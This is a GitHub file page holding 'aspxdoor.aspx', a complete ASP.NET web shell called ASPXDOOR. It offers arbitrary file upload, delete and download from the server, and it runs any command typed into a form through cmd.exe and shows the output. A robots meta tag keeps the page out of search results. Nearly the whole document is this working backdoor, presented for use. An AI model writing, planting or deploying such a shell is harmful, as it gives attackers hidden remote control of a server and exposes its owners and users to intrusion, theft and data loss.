-
Notifications
You must be signed in to change notification settings - Fork 1
/
aspxdoor.aspx
119 lines (111 loc) · 3.98 KB
/
aspxdoor.aspx
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
<%@ Page Language="C#" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.Diagnostics" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e)
{
if (IsPostBack)
{
if (uploadFile.HasFile)
{
string path = Server.MapPath(uploadFolder.Text);
string fileName = uploadFile.FileName;
uploadFile.SaveAs(path + "\\" + fileName);
Response.Write("File uploaded successfully!");
}
}
}
protected void deleteButton_Click(object sender, EventArgs e)
{
string path = Server.MapPath(deleteFile.Text);
if (File.Exists(path))
{
File.Delete(path);
Response.Write("File deleted successfully!");
}
else
{
Response.Write("File not found!");
}
}
protected void downloadButton_Click(object sender, EventArgs e)
{
string path = Server.MapPath(downloadFile.Text);
if (File.Exists(path))
{
Response.ContentType = "application/octet-stream";
Response.AppendHeader("Content-Disposition", "attachment; filename=\"" + Path.GetFileName(path) + "\"");
Response.TransmitFile(path);
}
else
{
Response.Write("File not found!");
}
}
protected void commandButton_Click(object sender, EventArgs e)
{
string command = commandTextBox.Text;
string result = ExecuteCommand(command);
resultTextBox.Text = result;
}
string ExecuteCommand(string command)
{
Process process = new Process();
process.StartInfo.FileName = "cmd.exe";
process.StartInfo.Arguments = "/c " + command;
process.StartInfo.UseShellExecute = false;
process.StartInfo.RedirectStandardOutput = true;
process.Start();
string output = process.StandardOutput.ReadToEnd();
process.WaitForExit();
return output;
}
</script>
<html>
<head>
<meta name="robots" content="noindex, nofollow">
</head>
<body>
<form id="form1" runat="server">
<h1>ASPXDOOR</h1>
<table>
<tr>
<td>Upload Folder:</td>
<td><asp:TextBox ID="uploadFolder" runat="server" Width="300"></asp:TextBox></td>
</tr>
<tr>
<td>Select File:</td>
<td><asp:FileUpload ID="uploadFile" runat="server" /></td>
</tr>
<tr>
<td colspan="2"><asp:Button ID="uploadButton" runat="server" Text="Upload File" /></td>
</tr>
<tr>
<td>Delete File:</td>
<td><asp:TextBox ID="deleteFile" runat="server" Width="300"></asp:TextBox></td>
</tr>
<tr>
<td colspan="2"><asp:Button ID="deleteButton" runat="server" Text="Delete File" OnClick="deleteButton_Click" /></td>
</tr>
<tr>
<td>Download File:</td>
<td><asp:TextBox ID="downloadFile" runat="server" Width="300"></asp:TextBox></td>
</tr>
<tr>
<td colspan="2"><asp:Button ID="downloadButton" runat="server" Text="Download File" OnClick="downloadButton_Click" /></td>
</tr>
<tr>
<td>Command:</td>
<td><asp:TextBox ID="commandTextBox" runat="server" Width="300"></asp:TextBox></td>
</tr>
<tr>
<td colspan="2"><asp:Button ID="commandButton" runat="server" Text="Execute Command" OnClick="commandButton_Click" /></td>
</tr>
<tr>
<td>Result:</td>
<td><asp:TextBox ID="resultTextBox" runat="server" Width="300" Height="100" TextMode="MultiLine"></asp:TextBox></td>
</tr>
</table>
</form>
</body>
</html>